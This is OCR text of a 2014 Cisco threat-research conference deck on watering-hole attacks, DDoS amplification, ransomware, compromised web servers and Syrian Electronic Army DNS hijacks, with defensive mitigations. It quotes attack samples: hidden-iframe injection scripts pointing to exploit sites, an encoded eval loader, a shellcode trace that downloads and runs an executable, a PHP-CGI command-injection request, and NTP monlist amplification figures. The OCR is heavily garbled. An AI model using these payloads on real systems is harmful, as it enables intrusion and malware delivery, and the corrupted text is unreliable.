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‘Threat Research, AnaIyS|san d Commu n ications |

TRAC dissects current threats to identify & understand trends.

TRAC examines threats in the context of Cisco’s products and services. When
possible, TRAC makes product improvements & recommends changes.

TRAC performs exploratory data analysis, leveraging

advanced statistical and computational techniques to

illuminate patterns in vast amounts of data.

http://blogs.cisco.com/tag/trac/
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‘A Watering Hole — Looks Safe?
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‘Watering Hole Attacks ol o
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‘Watering Hole Attacks =~ -

b/ \) WwWw.twitter.com
\ www.linkedin.com
V \i v ' www.industry related.com

Stage 1: Compromise
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‘The Department of Labor Attack -~ =
Watering Hole Attack
Very targeted attack but a large volume of victims

Attack was zero-day (CVE-2013-1347)

‘Site Exposure Matrices’ website serving
malware from ‘dol.ns01.us’
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‘Incorporating Content Detection Evasion Techniques

function helo()

|

eval(Basebd.decode
('ICAICANCnVuaWhverm49dWalc2NncGUolkFCQOQIKTSNCnVualWNvemayPXVUZXN) YXBIKCJFRUVFIk
70Qpmb3loaT Qw02kM=="
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“Advanced Reconnaissance - =
www.sellagreement.com/count1.php?0.005653126398 101449 8vul=&flashver=flash11.7. 700Bdm=www kforce.com&ck=__ utma%3D36533247.232695417.1367266373.1367266373.1367266373.1%36
www.sellagreement.com/count1.php?0.0098575197108344 28 Rvul=&flashver=flash11.6.602&dm=www.kforce.com&ck=__atuvc}3D22%257C18%38%20__utma%3D36533247.1833724616. 13672447
www.sellagreement.com/count1.php?0.0240653398115947 55 &vul=&flashver=flash11.3. 3008 dm=www.sbc.net&ck=ASPSESSIONIDQQOBCTAQR 3D FIAHBBCDGKAHDKHANAIBGNIE%3B%20__utma%30
www.sellagreement.com/count1.php?0.0492842043749988 1&vul=&flashver=flash11.7.700&dm=www.kforce.com@ck=__utma%3036533247.232695417.1367266373.1367266373.1367266373.1%3BY
www.sellagreement.com/countl.php?0.05824118741867307&vul=Eflashver=flash11.6.602 &dm=www.kforce.com@ick=__ atuvc%3D22%257C18%36%20_ utma%3D36533247.1833724616.136724479;
www.sellagreement.com/countl.php?0.0589750451936182 9&vul=office-2007 trend2011, java7&flashver=flash11.6.60 2&dm=www kforce.comBck=__utma%3036533247.147837964.1350476272.135
www.sellagreement.com/count].php?0.074147206961 8858 7&vul=Eflashver=flash11.3.300&dm=www kforce.com@ck=__utma%3036533247.2082418272.1367254935.1367254935.1367254935.1%36
www.sellagreement.com/count1.php?0.079703399857 1061 18&vul=office-2007 trend2011 java7&flashver=flash11.6.602&dm=www.kforce.comick=__ utma%3D36533247.147837964.1350476272.1351
www.sellagreement.com/count1.php?0.084093397017568358vul=Eflashver=Fflash11.7. 7008dm=www kforce.comfck=__utma%3036533247.232695417.1367266373.1367266373.1367266373.133B%
www.sellagreement.com/count1.php?0.0848583702463656 7 &vul=Bflashver=Fflash11.7. 700&dm=www.kforce.comick=__utma%3036533247.232685417.1367266373.1367266373.1367266373.1%3B%
www.sellagreement.com/count1.php?0.08788300026208162&vul=Eflashver=flash11.7. 700&dm=www.kforce.comick=__utma%3036533247.406949953.1366307101.1366307101.1367253000.2%3B%
www.sellagreement.com/countl.php?0.089954784246403138vul=Bflashver=flash11.6.602 &dm=www.kforce.com@ick=__ atuvc%3D2%257C18%36%20_ utma%3036533247.917242482.1367258782.1
www.sellagreement.com/countl.php?0.0944143368666327 Bvul=Bflashver=flash11.6.602&dm=www kforce.com&ck=__ atuvc%3D25%257C18%36%20_ utma%3036533247.1833724616.1367244791,
www.sellagreement.com/count].php?0.10262306195581067&vul=office-2010 javab&flashver=flash11.2.202 Bdm=www kforce.comBck=__ utma%3D3A533247.1434454937.1363346772.1366718440.1
www.sellagreement.com/count1.php?0.107928807058953898vul=&flashver=flash11.6.602 &dm=www kforce.comfck=__ atuvck3D10%257C18%38%20 _utma%3036533247.1833724616.136724479]
www.sellagreement.com/count1.php?0.1182548262449023 &vul=office-2007 trend2011, java 7&flashver=flash11.6.602 &dm=www.kforce.comick=_ utma%3036533247.147837954.1350476272. 13504
www.sellagreement.com/count1.php?0.1191775060724467 &vul=&flashver=Fflash11.7. 700&dm=www kforce.com&ck=__utma%3D36533247.232695417.1367266373.1367266373.1367266373.1303B%:
www.sellagreement.com/count1.php?0.1249880100730086 1&vul=javab&flashver=flash11.3.3008dm=www kforce.com&ck=__atuvc363D1%257C18%3B%20__utma%3036533247.1221092913.136724.
www.sellagreement.com/countl.php?0.125996128393044648vul=Eflashver=flash11.3.300&dm=www.sbc.net8ck=ASPSESSIONIDQQBCTAQB%30FIAHBBCDGKAHDKHANAIBGNIE%3B%20__ utma%3D1
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“Advanced Reconnaissance - =
www.sellagreement.com/count1.php?0.005653126398 101449 8vul=&flashver=flash11.7. 700Bdm=www kforce.com&ck=__ utma%3D36533247.232695417.1367266373.1367266373.1367266373.1%36
www.sellagreement.com/count1.php?0.0098575197108344 28 Rvul=&flashver=flash11.6.602&dm=www.kforce.com&ck=__atuvc}3D22%257C18%38%20__utma%3D36533247.1833724616. 13672447
www.sellagreement.com/count1.php?0.0240653398115947 55 &vul=&flashver=flash11.3. 3008 dm=www.sbc.net&ck=ASPSESSIONIDQQOBCTAQR 3D FIAHBBCDGKAHDKHANAIBGNIE%3B%20__utma%30
www.sellagreement.com/count1.php?0.0492842043749988 1&vul=&flashver=flash11.7.700&dm=www.kforce.com@ck=__utma%3036533247.232695417.1367266373.1367266373.1367266373.1%3BY

www.sellagreement.com/countl.php?0.05824118741867307&vul=Eflashver=flash11.6.602 &dm=www.kforce.com@ick=__ atuvc%3D22%257C18%36%20_ utma%3D36533247.1833724616.136724479;
www.sellagreement.com/countl.php?0.0589750451936182 9&vul=office-2007 trend2011, java7&flashver=flash11.6.60 2&dm=www kforce.comBck=__utma%3036533247.147837964.1350476272.135

countl.php?0.058975045193618258&vul=office-2007 trend2011,java7&flashver=flash11.6.602&dm

“Www_sellagreement.com/countl.php /0. 0E309339 701755830 BvUl=giasnver=Tasn 1L 7. FOD&dm=www.Kforce.comick=__utmak3laen33z4 7 737695817, 13072003 /3. 13072003 73.1307 700373 TH3ET
www.sellagreement.com/count1.php?0.0848583702463656 7 &vul=Bflashver=Fflash11.7. 700&dm=www.kforce.comick=__utma%3036533247.232685417.1367266373.1367266373.1367266373.1%3B%
www.sellagreement.com/count1.php?0.08788300026208162&vul=Eflashver=flash11.7. 700&dm=www.kforce.comick=__utma%3036533247.406949953.1366307101.1366307101.1367253000.2%3B%
www.sellagreement.com/countl.php?0.089954784246403138vul=Bflashver=flash11.6.602 &dm=www.kforce.com@ick=__ atuvc%3D2%257C18%36%20_ utma%3036533247.917242482.1367258782.1
www.sellagreement.com/countl.php?0.0944143368666327 Bvul=Bflashver=flash11.6.602&dm=www kforce.com&ck=__ atuvc%3D25%257C18%36%20_ utma%3036533247.1833724616.1367244791,
www.sellagreement.com/count].php?0.10262306195581067&vul=office-2010 javab&flashver=flash11.2.202 Bdm=www kforce.comBck=__ utma%3D3A533247.1434454937.1363346772.1366718440.1
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www.sellagreement.com/count1.php?0.1182548262449023 &vul=office-2007 trend2011, java 7&flashver=flash11.6.602 &dm=www.kforce.comick=_ utma%3036533247.147837954.1350476272. 13504
www.sellagreement.com/count1.php?0.1191775060724467 &vul=&flashver=Fflash11.7. 700&dm=www kforce.com&ck=__utma%3D36533247.232695417.1367266373.1367266373.1367266373.1303B%:
www.sellagreement.com/count1.php?0.1249880100730086 1&vul=javab&flashver=flash11.3.3008dm=www kforce.com&ck=__atuvc363D1%257C18%3B%20__utma%3036533247.1221092913.136724.
www.sellagreement.com/countl.php?0.125996128393044648vul=Eflashver=flash11.3.300&dm=www.sbc.net8ck=ASPSESSIONIDQQBCTAQB%30FIAHBBCDGKAHDKHANAIBGNIE%3B%20__ utma%3D1
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Energy & Oil Sector Attacks =

- An oil and gas exploration firm with operations in Africa, Morocco, and Brazil;

- A company that owns multiple hydro electric plants throughout the Czech
Republic and Bulgaria;

* A natural gas power station in the UK;
» A gas distributor located in France;
* An industrial supplier to the energy, nuclear and aerospace industries;

 Various investment and capital firms that specialise in the energy sector.

Cisco (M’/
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Energy & Oil Sector Attacks

Ten websites detected redirecting to three exploit sites:

<script type="text/javascript"> var xLcTQpH=document.createElement("iframe");
XLcTQpH.width=1; xLcTQpH.height=1; xLcTQpH.style.visibility="hidden";

xLcTQpH.src="http://kenzhebek.com/tiki/files/templates/listpages/inden2i.php”;
document.getElementsByTagName("body”)[0].appendChild(xLcTQpH); < /script>

<script type="text/javascript"> var UbKFxNy=document.createElement(“iframe");
UbKFxNy.width=1; UbKFxNy.height=1; UbKFxNy.style.visibility="hidden";

UbKFxNy.src="http://keeleux.com/sfreg/img/nav/inden2i.php”,
document.getElementsByTagName("body”)[0].appendChild(UbKFxNy); < /script>

Cisco (f'l/f:/
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Energy & Oil Sector Attacks =~ -
CVE-2012-1723: Java

CVE-2013-1347: Internet Explorer 8
CVE-2013-1690: Firefox / Thunderbird

eax.ts:
eax, Bx8
esp, [eax]
81 C430F8FFFF esp,. BxFEfEf830
33CAa BaM,BAN

LoadLibraryExACkerneld2 .d11>

GlobhalAlloc{s==200> = (BAAAA

GetTempPathA<len=208,. bhuf-=-600008> = 1f

LoadLibraryExA<urlmon.d11>

URLDownloadToFileAChttp: "~ .comstikisfilesstemplatessliszstpagessinden2i.php?dwl=Ffne,. C
SSIOCUHE™L “manusLOCALS "1~ Tempstmprovider.exe?

SetFilefttributesA(C~DOCUME™ “\mnanusLOCALSE ™ “Temnpstmprovider . exe .6

GlobalfAlloc<(s=z=10> = 601000

GlobhalAlloc<s==44> = 6H20PA

CreateProcessAC C:5\DOCUME™1“manu~LOCALS™“1Temps~tmprovider.exe, » = Bx1269

WaitForSingleObject<h=6010008, ms=ffffffff>

SleepiBx2718>

ExitProcess{-1>

Cisco (M’/




Energy.Sector Watering Hole

Phish Credentials @ Web Design Company
Web Design Cb
MaI|C|ous Redirect %\S kenzhebek.com

R\ EXE
\Nebe;\\e\" D —
W g - = US Based VPS
« C2 B

BRKSEC-3883 © 2014 Cisco and/or its affiliates. All rights reserved. Cisco Public
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Indicators of Compromise (I0C) = Advanced Attacks

Advanced Attacks are very difficult to detect

— Increase in activity volume to bad or unknown websites

— Internal phishing attempts

— AV hits on attachments on internal to internal emails

— Malformed HTTP requests

— Attempts to exfiltrate data — often encrypted

— New/unknown processes running on box

— Check NetFlow: Cyclical connections to IP addresses with bad/unknown reputation

Cisco ((Vf;/
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‘Thwarting Advanced Attacks =~ =
TRAC's investigation found companies demonstrating signs of compromise;
These organisations were notified.

Domain’s + IPs associated with the
attackers were added to blacklists.

Created new IPS Signatures:
2198-0 and 2198-1.

TRAC recommended that
Enterprise organisations consider
blocking/monitoring free domains
offered by orgs like ChangelP.com,
because of the history & potential
for abuse.

Cisco (f'l/f;/
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\Watering Hole Attacks - Protection
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L — ) Instal “alware

Profil-  ‘'sers
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‘Watering Hole Attacks - Protection

Instal alware
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DDoS Attacks on Ban ks

« Can mask wire fraud before, during, or after
* Overwhelm bank personnel
* Prevent transfer notification to customer
* Prevent customer from reporting fraud

Subject: Information Security
Date: December 21, 2012

Description: Distributed Denial of Service attacks
and Customer Account Fraud

Information Security: Distributed Denial of Service Attacks and Customer Account Fraud

To: Chief Executive Officers of All National Banks, Federal Branches and Agencies, Federal Savings
Associations, Technology Service Providers, Department and Division Heads, All Examining Personnel, and

Other Interested Parties

Recently, various sophisticated groups launched distributed denial of service (DDoS) attacks directed at
national banks and federal savings associations (collectively, banks). Each of the groups had different
objectives for conducting these attacks ranging from garnering public attention to diverting bank resources
while simultaneous online attacks were under way and intended to enable fraud or steal proprietary

BRKSEC-3883

© 2014 Cisco and/or its affiliates. All rights reserved.

KrehsonSecurity

In-depth security news and investigation

19 DDoS Attack on Bank Hid $900,000 Cyberheist

A Christmas Eve cyberattack against the Web site of a regional California financial
institution helped to distract bank officials from an online account takeover against one of its
clients, netting thieves more than $900,000.

At approximately midday on December 24,
2012, organized cyber crooks began moving
money out of corporate accounts belonging
to Ascent Builders, a construction firm
based in Sacramento, Calif. In short order,
the company’s financial institution — San
Francisco-based Bank of the West —
came under a large distributed denial of
service (DDoS) attack, a digital assault
which disables a targeted site using a flood of junk traffic from compromised PCs.

Cisco (f'l/f:/
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‘DarkSeoul -
Politically AND financially motivated

Targeted attack
against South Korean
banks & media outlets

Overwriting malware
targeted workstations,
servers

Simultaneous payload at 2 -
p.m. KST sharp. Over L)
35,000 systems crippled

Cisco .(Vf:/




“Biggest” DDOS Ever

TheSTOPhaus Movement
bernieleung @cloudfare @spamhaus although we (cb3rob) still
support the ddos effort,in the long run, there need to be other steps.

TheSTOPhaus Movement
bernieleung @cloudfare @spamhaus killing the zen.spamhaus.org

zone by giving false positives will be the way to go to end spamhaus.

TheSTOPhaus Movement

bernieleung @cloudfare @spamhaus spamhaus: our bgp injection
seems to work, we'll find a larger business partner (@chinanet? ;) to
run it

© 2014 Cisco and/or its affiliates. All rights reserved. Cisco Public
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“Biggest” DDOS Ever

~“sven Olaf Kamphuis

1 Mobile Ggmpuﬁ& Office

Cisco {f'l/f;/
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‘UserDD6S: =«

2 million compromised end-users X 150 Kbps upstream bandwidth
= 300 Gbps -
Cisco((l/&
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ServerDDoS -

-g -
-B

1000 compromised Data Centre servers X 10 Mbps upstream -,
bandwidth = 10 Gbps Cisco(ll/&
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'DNS Amplification DDoS

10 DC servers @ 10Mbps * 300 open DNS resolvers * 8.5x -,
Magnification = 255Gbps Cisco(ll/&

BRKSEC-3883 © 2014 Cisco and/or its affiliates. All rights reserved. Cisco Public



Failed DD0S Response by Network Solutions

Requests for LinkedIn, Others Diverted to 204.11.56.0/24
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‘Is Your. DNS Server VuInerabIe’P

Reject Spoofed Packets

Incoming DNS

Limit Recursion Request

Outbound DNS
Response

-

DNS Nameserver

Limit Outbound Rate
Block Large DNS Replies

BRKSEC-3883 © 2014 Cisco and/or its affiliates. All rights reserved. Cisco Public
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‘NTPDDoS:

MON_GETLIST - returns last 600 connections

My testing
— 233B UDP request -> 7276B return traffic split across 17 packets

Source address can be spoofed

Similar to DNS Amplification...

Cisco ((Vf;/
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.00( e ~ ) ntpdc
ntpde- host 1N
current host set to 1

N T P D Entpdc:» monlist
i iremote address local address count m ver rstr avgint 1stint
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NTPDDOS =

My testing

— 233B UDP request -> 7276B return traffic split across 17 packets
— 100 servers were in the response

— Magnification: 31x

Let’s estimate a worst case:
— 600 responses / 6 per packet = 100 packets * 448 bytes per packet = 44,800B per

query
— 44,800B/233B = 192x Possible Magnification

10 DC Servers @ 10Mbps * 192 Magnification * 300 NTP Servers = 5.76Tb/s

The team cymru “worst offenders” list contains 942,431 |IP addresses

Cisco (M’/
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Is Your. NTP Server VuInerabIe’P o
Reject ALL OR Spoofed Packets

Incoming mon_getlist

Limit Queries Request

Outbound Response

-

BRKSEC-3883 © 2014 Cisco and/or its affiliates. All rights reserved. Cisco Public

Secure NTP Server

Limit Outbound Rate

Block Large Replies ,
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‘DDoS -’.I\'/"I,itiga-ti»dn'é f,   e

Check netflow for unsuccessful attempts, take action!
Don’t be part of the problem — lock down servers!

Secure your router, even the boring DDoS techniques work
— Enable Unicast RPF

— Filter all RFC-1918 using Access Control Lists (ACLS).

— Enable rate limiting

Apply block lists for known misconfigured servers (NTP, DNS, etc)

Cisco ((Vf;/
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ELROPEAN CYSERCAME CENTRE 3

B I'OW‘| O’C'k‘ - ZEEURSPOL i )

All activities of this computer have been recorded. All your files are encrypted.

ATTENTION!
All your files are encrypted to prevent their distribution and use.
Due to violations of the law, your browser has been blocked
because of at least one of the reasons below.

1. You have been subjected to violation of Copyright and Related Rights Law and ilegally
using or distributing copyrighted contents such as Video, Music onand Software (files were
found In your browser's temporary files and your ents), thus conflicting with Article 1,
Section B, Clause 8 of the Criminal Code of the Grea
Article 1, S e 8 of the Criminal Code state:
or a deprivation of liberty of two to eight years

. You have been viewing or distributing prohibited Pornographic contents: Child Porno
photos and such, were found in browser's temporary files and your documents
Thus, you are violating articie 202 of f the Great Britain Article 202 of the
Criminal Code states a deprivation of IleE'ty of mu to tw

. lllegal access has been initiated from your PC without your knowiedge or consent, your PC
may be |r1=vv ted with matware, thus you are violating the law of Neglectfu! Use of your Personal

Your 1P Comp 10 of the Criminal Code declares a fine of up to £50,000 and/or deprivation

y of four to nine years

] Pursuant to the amendment of the Criminal Code of the Great Britain of May 28, 2011, this |12

infringement (If it is a first time offence) may be considered as conditional in case you pay t

’ fine

fine or two hundred minimal wages

)

©

COUNTRY CITY

To unlock your computer and avold other legal consequences. you are obliged to pay a
United Kingdom Maidstone
9 ’ release fee of £200, payable through Ukash (you must purchase the Ukash card and enter
the code). You can buy the card at any store or gas station. payzone or paypoint.
REGION

land P p
Englan fone voucher code)

Al activities of this compter have be Please note: Fing can thin 12 hour ire, the possibllity to
Allyour files are encryjpted pay the 5t foreve -II your Pc dam will be detamed Jnd cnmmol S prncedure will be
Initiated against you If the fine will not be pald!

(iash wwailzbie

e e vl
UK

Exchan
our ey
lar a urique
Ukazh code

WNETeWr you 68
e Faypoirt 1ign
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| Cryp’tolobkéfr

f - CryptoLocker 7 g]

Your personal files are encrypted!

Your important files encryption produced on this computer: photes, videos,
documents. etc. Here is a complete list of encrypted files, and you can personally
verify this

Encryption was preduced using 3 unique public key RSA-2043 generated for this
computer. To decrypt filesyou need to obtain the private key.

The single copy of the private key, which will allow you to decrypt the files, located
on a secret server on the Internet; the server will destroy the key after a tme
specfied in this window. After that, nobody and never will be able to restore files...

To obtain the private key for this computer, which will automatically decrypt files,
you need to pay 100 USD /100 EUR / similar amount in another currency.

Click <Next> to select the method of payment and the currency.
Private key will be destroyed on

10/26/2013 Any attempt to remove or damage this software will lead to the immediate

3:31 PM destruction of the private key by the server,

87:45:17

Cisco ((Vf:/

BRKSEC-3883 © 2014 Cisco and/or its affiliates. All rights reserved. Cisco Public



Ransomeware - Mitigations =~~~

Backup your data properly
Do not allow “anyone” to access backups — air gap where possible
Network Prevension (Fireamp, WSA,ESA)

Host based prevention
— AV, HIPS
— Whitelist client side applications

Minimize deployments of frequently vulnerable software

Training

BRKSEC-3883 © 2014 Cisco and/or its affiliates. All rights reserved. Cisco Public
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- Compromlsmg Hosts W/ Bandwldth
DarkLeech/CDorked - Mass compromlse of Apache Web servers

Compromised
Website

« September 2012: Increase in hosting server compromise
 Attackers gain root access via brute force login attempts,

vulnerabilities in control panel software, poorly

Configured Compromised Vg i
server software, stolen credentials - HESE

» Every site hosted by that server under control
 Originally Apache v2; CDorked expands to Lighttpd,
NginX Apache Server Compromise
Source: Cisco Web Security Exclusive: Ongoing malware attack targeting

Apache hijacks 20,000 sites

Mysterious "Darkleech” exposes visitors to potent malware exploits.

Tens of thousands of websites, some operated by The Los Angeles Times, Seagate, and other

reputable companies, have recently come under the spell of "Darkleech,” a mysterious exploitation

toolkit that exposes visitors to potent malware attacks.

The ongoing attacks, estimated to have infected 20,000 websites in the past few weeks alone, are .

significant because of their success in targeting Apache, by far the Internet's most popular Web server » /
WD ‘.! Wr

BRKSEC-3883 © 2014 Cisco and/or its affiliates. All rights reserved. Cisco Public



-Comp r’o'r'h'i s;'i ng | H"OSt‘S W/ B and Wldth x ‘, 1 Exan |

Popular CMS Targeted (WordPress, Joomla)

 Brute force login attempts increased
threefold in the first quarter of 2013

» Cisco TRAC discovered a hub of data
used to feed the attacks, including 8.9
million possible username and password
combinations

* It's not just password123 at risk. The lists
contain many strong passwords

 Stolen credentials is one example of how
attackers may be feeding these lists

BRKSEC-3883 © 2014 Cisco and/or its affiliates. All rights reserved.
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‘Weaponised Web Infrastructure =

Content manager attacks continue to rise as complexity increases

Defaulty

POST

ST %08%T 0% T 0%0 1% T 4%68 /% T0%08% 70 7%2 D%04+%0 1%0 Cx6C%0 F5%7 7%5 F%7 5% 7 2%6C%5 F%b9%6E%06 3%06 C% T 5%064%
65%30%6 F5%0E +5%2 D%64+% 7 3%0 1%06%05%5 Fib D0 F%0 4%6 5% 3D%6 Fb 6%0 6+%2 D%04+5%7 3% T 5%08%0F %7 3%09%0E%2E
%7 3%0 9%60%7 5%06 0 %6 1%7 4%69%6 F%6 E%3 D%6 F%6 E+%2 D%6 4+%0 4%69%7 3%0 1%62%6 (%0 5%5 F566% 7 5%0E%6 3% 7 4%6 0%
OF%0E%T 3%30%2 2%2 2 +%2D%04 +%0 F%T0%05%0 E%5 F%0 2%0 1% 7 3%6 5%04%6 9% 7 2%3 D%6 E%0 F %0 E%6 5+%2 D%0 4 +5%61%75
%7 45%6F%5 F%7 0%7 2%65% 7 0%05%0 E%04%5 F400%0 9%0 C%65%3D% 7 0%0B%70%3A%2 F42 Fs69%06E% 7T0%75%74+%2 D%6E
HTTF/1.1

Host:

User-Agent: Mozilla/5.8 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)}
Content-Type: application/x-www—-Torm-urlencoded

Content-Length: 82

<?php echo "Content-Type:text/html\r\n\rin";echo "0K\n";system("uname -a;id;"); ?=

Decoded:

POST fphppath/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d
disable_functions="" -d open_basedir=none -d auto_prepend_Tile=php://input -n HTTR/1.1
Host:

User-Agent: Mozilla/5.8 (compatible; Googlebot/2.1; http://www.google.com/bot.html)
Content-Type: application/x-www—Torm-urlencoded

Content-Length: 82

<?php echo "Content-Type:text/html\rvnhrvn"echo "OK\R";system("uname -a;id;"); ?=

Cisco ((Vf;/
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‘Weaponised Web Infrastructure =

Content manager attacks continue to rise as complexity increases

Default:]

POST

ST %08%T 0% T 0%0 1% T 4%68 /% T0%08% 70 7%2 D%04+%0 1%0 Cx6C%0 F5%7 7%5 F%7 5% 7 2%6C%5 F%b9%6E%06 3%06 C% T 5%064%
B65%30%6F%06E +5%2 %64 +%7 3%6 1%66%065%5 P50 D50 F5%0 4%05%30%06 Fab6%00+%2D%64+% 7 3% 7 0%68%6F %7 3%69%6E%2E
%7 3%09%00%7 5%0 C%6 1% 7 4%09%0 F%0E%3 D%6 FSO E+%2D%04+%64%69%7 3%06 1%02%6 C%65%5 F%06%7 S%0E%0 3% 7 4%6 9%
OF%0E%T 3%30%2 2%2 2 +%2D%04 +%0 F%T0%05%0 E%5 F%0 2%0 1% 7 3%6 5%04%6 9% 7 2%3 D%6 E%0 F %0 E%6 5+%2 D%0 4 +5%61%75
%7 45%6F%5 F%7 05%7 2%65% 7 0%05%0 E%04%5 F4bh%0 9%0 C%05%3D% 7 0%0B%70%3A%2 F%2 Fsb9%0E% T0%75%74+%2 D%6E
HTTR/1.1

Host:

User-Agent: Mozilla/5.@ (compatible; Googlebot/2.1; +hitp://www.google.com/bot.html)}
Content-Type: application/xX=www-Torm-urlencoded

Content-Length: 82

<?php echo "Content=Type:text/html\ri\n\rin™;echo "0K\n";system("uname -a;id;"); 7=

Decoded:
IZEST Sphppath/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d

disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -n HTTR/1.1
Ao

User-Agent: Mozilla/5.8 (compatible; Googlebot/2.1; http://www.google.com/bot.html)

Content-Type: application/x-www—Torm-urlencoded

Content-Length: 82

<?php echo "Cnntent—Type:textfhtlear\r\n"1echn "OKwn";system("uname -a;id;"); 7=

Cisco (f'l/f;/
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10C - Web Infrastructure

Majority of attacks use well known vulnerabilities

— Patch

— Block external access to internal servers

— Look for unknown or suspicious processes

— Check NetFlow: servers reaching out to external boxes

— Check NetFlow: cyclical connections to IP addresses with bad or unknown reputation

defence in depth

— Use network defences like IPS
— AV

— HIPS

Cisco ((Vf;/
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Boston Bombing Spam/Malware Campaign
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Curiosity Killed theCat =«

2 Explosions at Boston Marathon
Aftermath to explosion at Boston Marathon
BREAKING - Boston Marathon Explosion
Boston Explosion Caught on Video
Explosion at Boston Marathon

Explosion at the Boston Marathon
Explosions at Boston Marathon

Explosions at the Boston Marathon

Video of Explosion at the Boston Marathon 2013

BRKSEC-3883 © 2014 Cisco and/or its affiliates. All rights reserved.
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Curiosity Killed theCat =

2 Explosions at Boston Marathon

Aftermath to explosion at Boston Marathon

BREAKING - Boston Marathon Explosion

Boston Explosion Caught on Vide gerie tuttie <oyrex en-subscrbe@martol. >
Tor It @ ialoaedovons

Exp|OS|on at Boston Mara‘thon BREAKING - Boston Marathon Explosion

Exp|osion at the Boston Marathon nte110.92.80.47boston himi

Explosions at Boston Marathon
Explosions at the Boston Marathon

Video of Explosion at the Boston Marathon 2013

BRKSEC-3883 © 2014 Cisco and/or its affiliates. All rights reserved. Cisco Public

17 April, 2013 1:21 PM

Cisco (M’/



Curiosity Killed theCat

2 Explosions at Boston Marathon

Aftermath to explosion at Boston Marathon
BREAKING - Boston Marathon Explosion

. . Gertie Tuttle <cyrtex-en-subscribe@mari-el.ru= 17 April, 20013 1:21 PM
Boston Explosion Caught on Video w: sovmym@inaedseder.com
BREAKING - Boston Marathon Explosion

Explosion at Boston Marathon

httpi1 10.82.80.47 /boston.html

Explosion at the Boston Marathon

Starved to Death- Eating empty food will kill you..it almost killed me ...:
melanomathon.blogspot.com/.../explosions-at-boston-marathon.htmi

EXplOS'OnS at BOSton M arathon 16 hours ago — Explosions at Boston Marathon. hitp://91.241.177.162/news.html. Posted
by Kilz:) at 8:08 PM. No comments: Post a Comment - Older Post ...

Explosions at the Boston Marathor,

Video of Explosion at the Boston Marathon 2013

Cisco ((Vf;/
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melanomathon.blogspot.com/2013 /04 /explosions-at-boston-marathon.htm!

=" Blog Archive

= No comments:

Subscribe to: F
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( i ; > J @J [ & 91.241.177.162/news.html|

Explosions at the Boston Marathon

-

Cisco (f'l/f:/
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‘Yesterday Boston, Tod ayWaC OTomor row M al’w.are'

CAUGHT ON CAMERA: Fertiliser Plant Explosion Near Waco, Texas
Fertiliser Plant Explosion Near Waco, Texas

Plant Explosion Near Waco, Texas

Raw: Texas Explosion Injures Dozens

Texas Explosion Injures Dozens

Texas Plant Explosion

Video footage of Texas explosion

Waco Explosion HD

Cisco (M’/
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10Cs — Spam Compromise

Increase in blocks on Email security appliances
Increase in activity volume to bad or unknown websites
AV hits on attachments

Malformed outgoing HTTP requests

Attempts to exfiltrate data — often encrypted
New/unknown processes running on box

Check NetFlow: cyclical connections to IP addresses with bad or unknown
reputation

Cisco ((Vf;/
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Hacktivism
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‘The Enemy We Know - Syrian Electronic Army (SEA)

Hackers aligned with Syrian President Bashar al-Assad

Primarily targets:

— news organisations
— political groups

— human rights groups

— VoIP Apps
Effe(.:tlv.e Low Tech” Attacks cigiisull coygul il

— Phishing SYRIAN ELECTROMNIC ARMY
- Spam www.-S;rinn-m.m-y

Cisco (M’/
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‘Associated Press Twitter Ac countAttack o

AP Twitter account hacked
Perpetrated by the Syrian Electronic Army.

Same group also successfully

attacked:

— 60 Minutes

— BBC

— CBS

— NPR 29 LA (3 jqul Ulng ol

Syrian Electronic Army

BRKSEC-3883 © 2014 Cisco and/or its affiliates. All rights reserved. Cisco Public
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AP Twitter Account

BRKSEC-3883

AP The Associated Press @ F B

Breaking: Two Explosions in the White
House and Barack Obama is injured

4~ Reply 1T} Retweet W Favorite eee More

cevers | e ARBeTEES

© 2014 Cisco and/or its affiliates. All rights reserved. Cisco Public
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AP Twitter Account

AP The Associated Press W Follow
@AP

The @AP Twitter account, which was suspended after
being hacked, has been secured and is back up. Thank you
for your patience. - @EricCarvin

7:46 AM - 24 Apr 2013

Cisco ((Vf:/
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‘Consequences =

The AP Twitter account loses over 1.8
million followers as a result of the incident,
mostly as a result of how Twitter responds
to hacked accounts.

The Dow takes a huge dip, then recovers
($136 Billion)

BRKSEC-3883 © 2014 Cisco and/or its affiliates. All rights reserved.
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‘ShareThis

Allows content sharing though customisable widget

Interacts with over 94% of US internet users
2 Million publisher sites

120+ Social Media Channels

B ShareThis L+ W rolow

Hey folks we're experiencing technical
difficulties with our website - be back soon!

& Fecty T3 Retweet * Favorie *%® Mo

‘ol rEEQ-YBEw

BRKSEC-3883 © 2014 Cisco and/or its affiliates. All rights reserved. Cisco Public
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Compromising DNS

Registrar

Cisco {f'l/&/
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Compromising DNS

Registrar
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| Com_pror'h'isih-g*DNS'

Registrar

™
e
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| Com_pror'h'isih-g*DNS'
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Compromising DNS

Registrar

— Malicious
/ @4‘99 ¥

Ll\) ‘
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‘ShareThis

bailiwick
count
first seen

last seen

sharethis.com.
sharethis.com.
sharethis.com.

sharethis.com.

bailiwick
count
first seen

last seen

sharethis.com.

sharethis.com.

BRKSEC-3883

sharethis.com.

13

2013-08-21 23:47:35 -0000
2013-08-21 23:58:04 -0000

NS ns77.domaincontrol.com.
NS ns78.domaincontrol.com.
NS nsl.syrianelectronicarmy.cCom.

NS ns2.syrianelectronicarmy.com.

sharethis.com.

12

2013-08-22 00:18:29 -0000
2013-08-22 00:45:41 -0000

NS nsl.syrianelectronicarmy.cCom.

NS ns2.syrianelectronicarmy.com.

© 2014 Cisco and/or its affiliates. All rights reserved.
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‘Melbourne IT:

Responsible for:
— New York Times
— Twitter

— Huffington Post

BRKSEC-3883

twWimg.Com.
sed.twimg.com.
geal . twimg.com.
nytimes.com.
gea.nytimes.com.
seas.nytimes.com.
sharethis.com.

wW.sharethis.com.

© 2014 Cisco and/or its affiliates. All rights reserved.
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141.105.64.
.37
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‘Melbourne

S 831 Following

SyrianElectronicArmy

Responsible for:
— New York Time
— Twitter

— Huffington Post

Hi @Twitter, look at your domain, its owned
by #SEA :) whois.domaintools.com
/twitter.com pic.twitter.com/ck7brWtUhK

4 Reply 1F Retweeted W Favorite ®®® More

Domain Name.......... twitter.com
Creation Date........ 2000-01-22
Registration Date.... 2011-08-31
Expiry Date.......... 2019-01-22
Organisation Name.... Twitter, Inc.

Organisation Address. 1355 Market Street
Organisation Address. Suite 900
Organisation Address.

Organisation Address. San Francisco
Organisation Address. 94103

Organisation Address. CA

